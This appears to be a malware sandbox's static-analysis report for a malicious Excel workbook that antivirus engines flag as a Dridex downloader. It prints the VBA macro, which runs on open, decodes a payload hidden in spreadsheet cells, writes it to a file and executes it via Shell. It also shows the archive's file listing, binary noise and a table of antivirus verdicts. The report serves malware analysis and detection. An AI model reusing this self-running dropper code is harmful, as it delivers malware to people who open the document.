Static | ZeroBOX

Original


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each theTotalsCalculationMax In ActiveWorkbook.Sheets(CStr(Cells(111, 169))).Range(CStr(Cells(160, 111)))
            theIBeam = theIBeam & Chr(theTotalsCalculationMax.Value + 13000)
    Next theTotalsCalculationMax
        theDialogInsert = Environ(Cells(53, 109)) & Cells(46, 70)
Open theDialogInsert For Output As #1
Print #1, theIBeam
Close #1
Shell (Cells(177, 146) & theDialogInsert)
End Sub

                                    

Deobfuscated


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each theTotalsCalculationMax In ActiveWorkbook.Sheets(CStr(Cells(111, 169))).Range(CStr(Cells(160, 111)))
            theIBeam = theIBeam & Chr(theTotalsCalculationMax.Value + 13000)
    Next theTotalsCalculationMax
        theDialogInsert = Environ(Cells(53, 109)) & Cells(46, 70)
Open theDialogInsert For Output As #1
Print #1, theIBeam
Close #1
Shell (Cells(177, 146) & theDialogInsert)
End Sub

                                    

Original


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    
[Content_Types].xml
l8v86n
_rels/.rels
xl/_rels/workbook.xml.rels
xl/workbook.xml
xl/sharedStrings.xml|T
cXA+K
xl/drawings/_rels/drawing1.xml.rels
NHn_C7
vX~3`~`
xl/worksheets/_rels/sheet1.xml.rels
xl/theme/theme1.xml
z)P -z)
2<<Z$3
S\u+>t
)uoRns
xl/styles.xml
-)py%v
={?)h*E)ru
xl/vbaProject.bin
%)^j8E
XOFM&2
r"5&hc.e
{2kNd
-x0C"
}!Qz`_
{D1"F;
xl/media/image1.png
$A3)4[b
}yqs.D
:HT"}FH
LE?rL.
?WWW;Z'2
;vlBUs
'OvU-7U
^+W\qE
6WGUQQ
K|xq}X
Tk?Lri~
]Z*w~p
Rxp7<XN
ZZ$]:w
6D&O8]*F
%55[GQ
P*+wJsc
X%{v},
d{LWyu
xt_W_}
f9T[+u
$TgZ_v7
9X[o~|
t2Gc2C@
piigi<
sn2L&!
}XQ=}>T:
<icmS/
KZ0[ITj
YIkg=.
k_ilc
[Y0w:a
/?0apk[;
k>x%D!
U6QZ}k
Ul%p}\Zq
.^6Ckk;S
e_VU;P
C"B2Xd-
|6K6W
!Bj8j*^
IQ9xqD
3[i8lZW;
<7NBhkD
U*R(WH
P-Ak>K
z*}URB:Q
#kvt&hO
y*[UOgR
#K`A8
'Vj)Qk
P,Pv=<
a.psyl
TGh:g}
8###/k
meBTe
-Emfztb
Il^b}_O\
i01;O2
+Xh4!(
v-C5xz
W P>nP
M8nvLUC
m3;iF2N21#
*(LR:
W#1'&&l
:PtMO`
=H&K;i
\jZSI]
]4A';/
NY0`M+
]hicH$
$)n0MEns
V>o3p)
^dZxl:
EA-EC=
;RkHBCeJ
27UCUz|
kb~^#M
LhCHK9C+JGw
YN&cIh
OSRo)M
Z.NFl65
=K+ll;n
]9$wZ,
zg=%xI7
K8_s`|
Q$3QdiJ
Idr;:Y-L
K.DYP
JmLRpr
SDBDSD
0(*M3n`f
&FPUOjU
dQ=J3M
Ra8T|
cijYC
je-1Ed
B57]Q9
3i+%x$
yN]:B]m3S
}=YKEH
IFm`0:
KwCTc
?~\=oBa
&>gb?X
iaTm<}
|/-soB+^A
`L2 C]
}Xepuu]
nN)[l;
={>MSfr
twtQS7
uj|`732
tv\!S3
ukihj
c,7JsScL
j{G;O=
P39vx7
J!O_w
L2:Qeh
Gwu,/Do
G]O(yV#
316ASK
o033Kw
Q{}>?Ia
4%cGP&
m[9zh?
U=,=EL
2M--*Y\
4y$bQf'
f:?B`.o
hLjuYgn
5.^>B2
=w=LkG'
NuVI>z^M
9vt?mM)
j%CC7y
An^>EK
$d`*YM
*LJe[1B&
[W]X+
Wc;$0Q,
KdRMY3
H !KWr
F^IJ*F,
[D:A}F
H@3ZBK
<Rd-mh
U=W/ZX
~>l{dYO
"t:W[W
]$*1-*
3`d28-
gr+M"y
IQu.-L
P~T^qk
:ntm"L
:QUoQU7
Bs<M2L
j!_&OL
P,bfQ I^
9$caC&
0\B,<A
}$QUH%
Kd%Dk"2
Jyh; ;
%]?m[}}
X}@uyDe
HJK|_JK
l$cuj
^ze5^zy
(};*}}}#
>{G`{?g
^z>7~
b\{;Y/
}?HB?J
01ao"!hTK]%8
krjF
\WkI=x
tks3;wt3a|;3g
)FPpH+i
@_Dgg'~
]sDOw'
?n2^&Cb
Z[iim%
E\;c*v
2[BZdW
asZU+c
hnj`\G
Aw_?=A
w>p?;v
@O'S&M
mH[7Kbk
;PdV[#y
aH%L(c
lV%N;Z+
\nz?Y'QkgmBi+
eMKkS-
jkeIR%X-
%*ahZ5
WZ WoCu
6M_;Z:
~?t}&*
+Eb6)
)GC+pM3
_E;5j3
+L0F%u
j.{w4q
r-).ay
jLEk*q
X^^fvvV
5oXoBV
UCH:e0
Jy]TjW&O
jBU[!v
IDATbGU6
lD4EBy
W3X8p
@^e2vi&5
lYKIUZ
&Y|C+
O_9CO.Ci&
uqs.I=
G#*19v
J0^fIa0
]1%?&c
GWb[[G
V klal
#f\E%Q4
BCF%dmWg
RrCJn{n
2Y/CG.C
$$4!q3f
O0=]fjj
=u4m;m
DqHl_H+
z_<omO'
?:mlmCh
wSwCBU
d;^X%(
a*33T/
;V6xMw
IBGZ7l
7y10N3
vqpc7m
}DDDDDDDDDD
#""""""""""
`""""j
DDDDDDDDIa
"""""""""":
""""""""""
Q[']:7
K.IyYO>
DDDDDDDD
{9R&y.
L#]<G{}
ADDDDDDDD-
ADDDDDDDD-
""""""""jy
jcnhf]
BDDDDDDDD
JDDDDDDD
idZ""""""""""":j
DDDDDDDDtL1
DDDDDDDDDDDDDDm
GDDDDDDDDDD
DDDDDDDDDDDDDDm
`"""""""""""""
7""""""""""":
LDDDDDDDDDDDDD
&"""""""""""""j#
DDDDDDDDDDDDDDm
`"""""""""""""
LDDDDDDDDDDDDD
&"""""""""""""j#
DDDDDDDDDDDDDDm
ddxQ^Q
DDDDDDDDDDDDD
DDDDDDDDDDDDD
~%""""""""""""j+
ez`x<@H
iiLDDDDDDDDDDDDt
D^^>&O
0;wl@
deg!?/}
DDDDDDDDDDDDD
6,%-\m
pK`"""""""""""""
NCUU9>
Y(++G(
`"""""""""""""0
&B0Q^Q
LDDDDDDDDDDD
%""""""""""""
)iMky=:
?]-|UD
:|2g9>
7nD~n!F
6mAAa!
rZ!HhN
qDDDG
""""""
DDDDDDDD)
o<"""j
UP4D]|
%s3\E|
IDAT~(O4
%{\'[o
N<a(l#
8\0a<N?
,..Nz^7)
p2dD;
X&0lxO
|8m*RN
z,3\f=
Hp*]G]}
zyO4v.r
^3bl_"j;&L
( /,#S
.q9nYV
[w:\Ul`
C4WG$Au
UHW1eN
jvou0u
wlfh".
fc_DkXY>I
k;=sY+
"g6/X,a
j$4&g9wq
w]+j3>&U
A}e4Mki
&lICiL
*t}[eS
NLUAqP
Gf-+V1
aKCo0`
}]h=NTM=X
~vp`JTaP
N(KMn5
4;4uD3i
`k<n;mX
aS#fnj
tBCSY6L
&!,[$*!
0Tk.t3
`&6R0$
EfmH>n
fwvgf'
i7%L.)
PG.\&hA
si(Gr>=
HbJ7J8$
ag#fg;<p
(&-KJc
u_g!Yfw
\8K(+i
i9YP{3
AlP5^%
aG>(vAv
Eu?kU
I8^Mhv
?B9lWc
O^_5y]
!lZFFu
Q`8xh?
cFiAQF
jN13{/
$ tAtr3
n=r<y{
QY#*:D
Ol{$fD8
7yApR7
OO/2SS
3u`~>7
N90}pNyz~
X<55E^
~(Vd&
nG3333
yWTvl8T/}
W_}5y?
j[_g<V
gLP&DY
;^vmO|
'KwLhY
@hW\qE
30lS333
8o8j333
UmYU<U?
:>Q}K?
EalR&B
0)lyWJ
Vz]Eao
2=@\K$
WPT]5f'
oiI+=T\
%aVzf
lzn.D^
EXC*+C
*J{UBU(
]W~hbvH'
*}-+&P
s#W\qE
e6],U,
9bi:.s=F
_iX4n0sm
J#}?-]
6%W{q"
h*V{AY
YM_}>7
kPK@k&}
5DS"RBo$
omWu'f
;]_KIF
|Z&=*V
IDAT&Z
Ft*@6-8
xl/drawings/drawing1.xml
xl/worksheets/sheet1.xml
Y>uIO)
{7F{Z0Z
hGi!I
l=( $y
h,.^/=
D(-dLq
2vZJOE
8gDi#C/
PZHdDi#
F\GAi#
h#No0Z
h#NL1ZH
]0ZHN)
9=1ZHB
>_@4G/
dt1ZHz
/]1ZH" 1ZH|
y(0ZHf
0ZHno1
7)Yd4
ys\~d
Tofqg4
-ri.F
TofAe4
3.??A
o_=E~\
Tof@3z
VXDfue
E|QF?C
%|F?C2Z
E6F;Gc
^F?C2Z
L[2ZD_
-ri.F
L[~dN)
_>A8G}
L??x#2
E.{:F
Tofr3Z
B2ZDE2
Tof(2Z
3ZDE2Z
VoLz2z
3G?,r
docProps/core.xml
2%XQ)H
docProps/app.xml
<U;k<l
[Content_Types].xmlPK
_rels/.relsPK
xl/_rels/workbook.xml.relsPK
xl/workbook.xmlPK
xl/sharedStrings.xmlPK
xl/drawings/_rels/drawing1.xml.relsPK
xl/worksheets/_rels/sheet1.xml.relsPK
xl/theme/theme1.xmlPK
xl/styles.xmlPK
xl/vbaProject.binPK
xl/media/image1.pngPK
xl/drawings/drawing1.xmlPK
xl/worksheets/sheet1.xmlPK
docProps/core.xmlPK
docProps/app.xmlPK
Antivirus Signature
Bkav Clean
Lionic Trojan.MSExcel.Dridex.4!c
Elastic malicious (high confidence)
MicroWorld-eScan VBA.Heur2.Dridex.4.E491F826.Gen
FireEye VBA.Heur2.Dridex.4.E491F826.Gen
CAT-QuickHeal Clean
McAfee Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
Trustlook Clean
BitDefender VBA.Heur2.Dridex.4.E491F826.Gen
K7GW Clean
K7AntiVirus Clean
Arcabit Clean
Baidu Clean
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast SNH:Script [Dropper]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
Alibaba TrojanDownloader:VBA/MalDoc.ali1000101
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot Clean
Rising Clean
Ad-Aware VBA.Heur2.Dridex.4.E491F826.Gen
Emsisoft VBA.Heur2.Dridex.4.E491F826.Gen (B)
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition BehavesLike.Downloader.fc
CMC Clean
Sophos Clean
SentinelOne Clean
GData VBA.Heur2.Dridex.4.E491F826.Gen
Jiangmin Clean
Avira Clean
MAX malware (ai score=88)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft TrojanDownloader:O97M/Dridex.BK!MTB
SUPERAntiSpyware Clean
ZoneAlarm Clean
Avast-Mobile Clean
Cynet Clean
AhnLab-V3 Clean
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
TACHYON Suspicious/XOX.Obfus.Gen.8
VBA32 Clean
Tencent Clean
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet VBA/Agent.CF9E!tr
AVG SNH:Script [Dropper]
Panda Clean
Qihoo-360 Clean
No IRMA results available.